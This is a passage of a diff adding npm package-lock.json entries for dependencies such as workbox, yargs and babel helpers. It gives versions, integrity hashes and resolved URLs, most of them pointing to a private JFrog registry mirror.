"jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/workbox-build/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/workbox-build/node_modules/source-map": { + "version": "0.8.0-beta.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.8.0-beta.0.tgz", + "integrity": "sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==", + "dependencies": { + "whatwg-url": "^7.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/workbox-build/node_modules/tr46": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tr46/-/tr46-1.0.1.tgz", + "integrity": "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/workbox-build/node_modules/webidl-conversions": { + "version": "4.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webidl-conversions/-/webidl-conversions-4.0.2.tgz", + "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==" + }, + "node_modules/workbox-build/node_modules/whatwg-url": { + "version": "7.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/whatwg-url/-/whatwg-url-7.1.0.tgz", + "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==", + "dependencies": { + "lodash.sortby": "^4.7.0", + "tr46": "^1.0.1", + "webidl-conversions": "^4.0.2" + } + }, + "node_modules/workbox-cacheable-response": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-cacheable-response/-/workbox-cacheable-response-6.6.0.tgz", + "integrity": "sha512-JfhJUSQDwsF1Xv3EV1vWzSsCOZn4mQ38bWEBR3LdvOxSPgB65gAM6cS2CX8rkkKHRgiLrN7Wxoyu+TuH67kHrw==", + "deprecated": "workbox-background-sync@6.6.0", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-core": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-core/-/workbox-core-6.6.0.tgz", + "integrity": "sha512-GDtFRF7Yg3DD859PMbPAYPeJyg5gJYXuBQAC+wyrWuuXgpfoOrIQIvFRZnQ7+czTIQjIr1DhLEGFzZanAT/3bQ==" + }, + "node_modules/workbox-expiration": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-expiration/-/workbox-expiration-6.6.0.tgz", + "integrity": "sha512-baplYXcDHbe8vAo7GYvyAmlS4f6998Jff513L4XvlzAOxcl8F620O91guoJ5EOf5qeXG4cGdNZHkkVAPouFCpw==", + "dependencies": { + "idb": "^7.0.1", + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-google-analytics": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-google-analytics/-/workbox-google-analytics-6.6.0.tgz", + "integrity": "sha512-p4DJa6OldXWd6M9zRl0H6vB9lkrmqYFkRQ2xEiNdBFp9U0LhsGO7hsBscVEyH9H2/3eZZt8c97NB2FD9U2NJ+Q==", + "dependencies": { + "workbox-background-sync": "6.6.0", + "workbox-core": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0" + } + }, + "node_modules/workbox-navigation-preload": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-navigation-preload/-/workbox-navigation-preload-6.6.0.tgz", + "integrity": "sha512-utNEWG+uOfXdaZmvhshrh7KzhDu/1iMHyQOV6Aqup8Mm78D286ugu5k9MFD9SzBT5TcwgwSORVvInaXWbvKz9Q==", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-precaching": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-precaching/-/workbox-precaching-6.6.0.tgz", + "integrity": "sha512-eYu/7MqtRZN1IDttl/UQcSZFkHP7dnvr/X3Vn6Iw6OsPMruQHiVjjomDFCNtd8k2RdjLs0xiz9nq+t3YVBcWPw==", + "dependencies": { + "workbox-core": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0" + } + }, + "node_modules/workbox-range-requests": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-range-requests/-/workbox-range-requests-6.6.0.tgz", + "integrity": "sha512-V3aICz5fLGq5DpSYEU8LxeXvsT//mRWzKrfBOIxzIdQnV/Wj7R+LyJVTczi4CQ4NwKhAaBVaSujI1cEjXW+hTw==", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-recipes": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-recipes/-/workbox-recipes-6.6.0.tgz", + "integrity": "sha512-TFi3kTgYw73t5tg73yPVqQC8QQjxJSeqjXRO4ouE/CeypmP2O/xqmB/ZFBBQazLTPxILUQ0b8aeh0IuxVn9a6A==", + "dependencies": { + "workbox-cacheable-response": "6.6.0", + "workbox-core": "6.6.0", + "workbox-expiration": "6.6.0", + "workbox-precaching": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0" + } + }, + "node_modules/workbox-routing": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-routing/-/workbox-routing-6.6.0.tgz", + "integrity": "sha512-x8gdN7VDBiLC03izAZRfU+WKUXJnbqt6PG9Uh0XuPRzJPpZGLKce/FkOX95dWHRpOHWLEq8RXzjW0O+POSkKvw==", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-strategies": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-strategies/-/workbox-strategies-6.6.0.tgz", + "integrity": "sha512-eC07XGuINAKUWDnZeIPdRdVja4JQtTuc35TZ8SwMb1ztjp7Ddq2CJ4yqLvWzFWGlYI7CG/YGqaETntTxBGdKgQ==", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-streams": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-streams/-/workbox-streams-6.6.0.tgz", + "integrity": "sha512-rfMJLVvwuED09CnH1RnIep7L9+mj4ufkTyDPVaXPKlhi9+0czCu+SJggWCIFbPpJaAZmp2iyVGLqS3RUmY3fxg==", + "dependencies": { + "workbox-core": "6.6.0", + "workbox-routing": "6.6.0" + } + }, + "node_modules/workbox-sw": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-sw/-/workbox-sw-6.6.0.tgz", + "integrity": "sha512-R2IkwDokbtHUE4Kus8pKO5+VkPHD2oqTgl+XJwh4zbF1HyjAbgNmK/FneZHVU7p03XUt9ICfuGDYISWG9qV/CQ==" + }, + "node_modules/workbox-webpack-plugin": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-webpack-plugin/-/workbox-webpack-plugin-6.6.0.tgz", + "integrity": "sha512-xNZIZHalboZU66Wa7x1YkjIqEy1gTR+zPM+kjrYJzqN7iurYZBctBLISyScjhkJKYuRrZUP0iqViZTh8rS0+3A==", + "dependencies": { + "fast-json-stable-stringify": "^2.1.0", + "pretty-bytes": "^5.4.1", + "upath": "^1.2.0", + "webpack-sources": "^1.4.3", + "workbox-build": "6.6.0" + }, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "webpack": "^4.4.0 || ^5.9.0" + } + }, + "node_modules/workbox-webpack-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/workbox-webpack-plugin/node_modules/webpack-sources": { + "version": "1.4.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webpack-sources/-/webpack-sources-1.4.3.tgz", + "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", + "dependencies": { + "source-list-map": "^2.0.0", + "source-map": "~0.6.1" + } + }, + "node_modules/workbox-window": { + "version": "6.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/workbox-window/-/workbox-window-6.6.0.tgz", + "integrity": "sha512-L4N9+vka17d16geaJXXRjENLFldvkWy7JyGxElRD0JvBxvFEd8LOhr+uXCcar/NzAmIBRv9EZ+M+Qr4mOoBITw==", + "dependencies": { + "@types/trusted-types": "^2.0.2", + "workbox-core": "6.6.0" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/wrap-ansi/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==" + }, + "node_modules/write-file-atomic": { + "version": "3.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/write-file-atomic/-/write-file-atomic-3.0.3.tgz", + "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "dependencies": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "node_modules/ws": { + "version": "7.5.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/xml-name-validator": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/xml-name-validator/-/xml-name-validator-3.0.0.tgz", + "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==" + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==" + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" + }, + "node_modules/yaml": { + "version": "1.10.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/yargs": { + "version": "16.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/yargs-parser": { + "version": "20.2.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yargs-parser/-/yargs-parser-20.2.9.tgz", + "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", + "engines": { + "node": ">=10" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "engines": { + "node": ">=10" + } + } + }, + "dependencies": { + "@adobe/css-tools": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.3.3.tgz", + "integrity": "sha512-rE0Pygv0sEZ4vBWHlAgJLGDU7Pm8xoO6p3wsEceb7GYAjScrOHpEo8KK/eVkAcnSM+slAEtXjA2JpdjLp4fJQQ==" + }, + "@alloc/quick-lru": { + "version": "5.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==" + }, + "@ampproject/remapping": { + "version": "2.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@ampproject/remapping/-/remapping-2.2.1.tgz", + "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==", + "requires": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "@babel/code-frame": { + "version": "7.24.2", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.24.2.tgz", + "integrity": "sha512-y5+tLQyV8pg3fsiln67BVLD1P13Eg4lh5RW9mF0zUuvLrv9uIQ4MCL+CRT+FTsBlBjcIan6PGsLcBN0m3ClUyQ==", + "requires": { + "@babel/highlight": "^7.24.2", + "picocolors": "^1.0.0" + } + }, + "@babel/compat-data": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/compat-data/-/compat-data-7.22.5.tgz", + "integrity": "sha512-4Jc/YuIaYqKnDDz892kPIledykKg12Aw1PYX5i/TY28anJtacvM1Rrr8wbieB9GfEJwlzqT0hUEao0CxEebiDA==" + }, + "@babel/core": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/core/-/core-7.22.5.tgz", + "integrity": "sha512-SBuTAjg91A3eKOvD+bPEz3LlhHZRNu1nFOVts9lzDJTXshHTjII0BAtDS3Y2DAkdZdDKWVZGVwkDfc4Clxn1dg==", + "requires": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.22.5", + "@babel/generator": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helpers": "^7.22.5", + "@babel/parser": "^7.22.5", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.5", + "@babel/types": "^7.22.5", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.2", + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/eslint-parser": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/eslint-parser/-/eslint-parser-7.22.5.tgz", + "integrity": "sha512-C69RWYNYtrgIRE5CmTd77ZiLDXqgBipahJc/jHP3sLcAGj6AJzxNIuKNpVnICqbyK7X3pFUfEvL++rvtbQpZkQ==", + "requires": { + "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1", + "eslint-visitor-keys": "^2.1.0", + "semver": "^6.3.0" + }, + "dependencies": { + "eslint-visitor-keys": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==" + }, + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/generator": { + "version": "7.24.1", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.24.1.tgz", + "integrity": "sha512-DfCRfZsBcrPEHUfuBMgbJ1Ut01Y/itOs+hY2nFLgqsqXd52/iSiVq5TITtUasIUgm+IIKdY2/1I7auiQOEeC9A==", + "requires": { + "@babel/types": "^7.24.0", + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.25", + "jsesc": "^2.5.1" + } + }, + "@babel/helper-annotate-as-pure": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz", + "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.22.5.tgz", + "integrity": "sha512-m1EP3lVOPptR+2DwD125gziZNcmoNSHGmJROKoy87loWUQyJaVXDgpmruWqDARZSmtYQ+Dl25okU8+qhVzuykw==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-compilation-targets": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.5.tgz", + "integrity": "sha512-Ji+ywpHeuqxB8WDxraCiqR0xfhYjiDE/e6k7FuIaANnoOFxAHskHChz4vA1mJC9Lbm01s1PVAGhQY4FUKSkGZw==", + "requires": { + "@babel/compat-data": "^7.22.5", + "@babel/helper-validator-option": "^7.22.5", + "browserslist": "^4.21.3", + "lru-cache": "^5.1.1", + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/helper-create-class-features-plugin": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.22.5.tgz", + "integrity": "sha512-xkb58MyOYIslxu3gKmVXmjTtUPvBU4odYzbiIQbWwLKIHCsx6UGZGX6F1IznMFVnDdirseUZopzN+ZRt8Xb33Q==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-member-expression-to-functions": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.5", + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/helper-create-regexp-features-plugin": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.22.5.tgz", + "integrity": "sha512-1VpEFOIbMRaXyDeUwUfmTIxExLwQ+zkW+Bh5zXpApA3oQedBx9v/updixWxnx/bZpKw7u8VxWjb/qWpIcmPq8A==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "regexpu-core": "^5.3.1", + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/helper-define-polyfill-provider": { + "version": "0.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.4.0.tgz", + "integrity": "sha512-RnanLx5ETe6aybRi1cO/edaRH+bNYWaryCEmjDDYyNr4wnSzyOp8T0dWipmqVHKEY3AbVKUom50AKSlj1zmKbg==", + "requires": { + "@babel/helper-compilation-targets": "^7.17.7", + "@babel/helper-plugin-utils": "^7.16.7", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "@babel/helper-environment-visitor": { + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.20.tgz", + "integrity": "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA==" + }, + "@babel/helper-function-name": { + "version": "7.23.0", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.23.0.tgz", + "integrity": "sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw==", + "requires": { + "@babel/template": "^7.22.15", + "@babel/types": "^7.23.0" + } + }, + "@babel/helper-hoist-variables": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz", + "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-member-expression-to-functions": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.22.5.tgz", + "integrity": "sha512-aBiH1NKMG0H2cGZqspNvsaBe6wNGjbJjuLy29aU+eDZjSbbN53BaxlpB02xm9v34pLTZ1nIQPFYn2qMZoa5BQQ==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-module-imports": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-module-imports/-/helper-module-imports-7.22.5.tgz", + "integrity": "sha512-8Dl6+HD/cKifutF5qGd/8ZJi84QeAKh+CEe1sBzz8UayBBGg1dAIJrdHOcOM5b2MpzWL2yuotJTtGjETq0qjXg==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-module-transforms": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-module-transforms/-/helper-module-transforms-7.22.5.tgz", + "integrity": "sha512-+hGKDt/Ze8GFExiVHno/2dvG5IdstpzCq0y4Qc9OJ25D4q3pKfiIP/4Vp3/JvhDkLKsDK2api3q3fpIgiIF5bw==", + "requires": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.5", + "@babel/types": "^7.22.5" + } + }, + "@babel/helper-optimise-call-expression": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz", + "integrity": "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==", + "requires": { + "@babel/types": "^7.22.5" + } + }, + 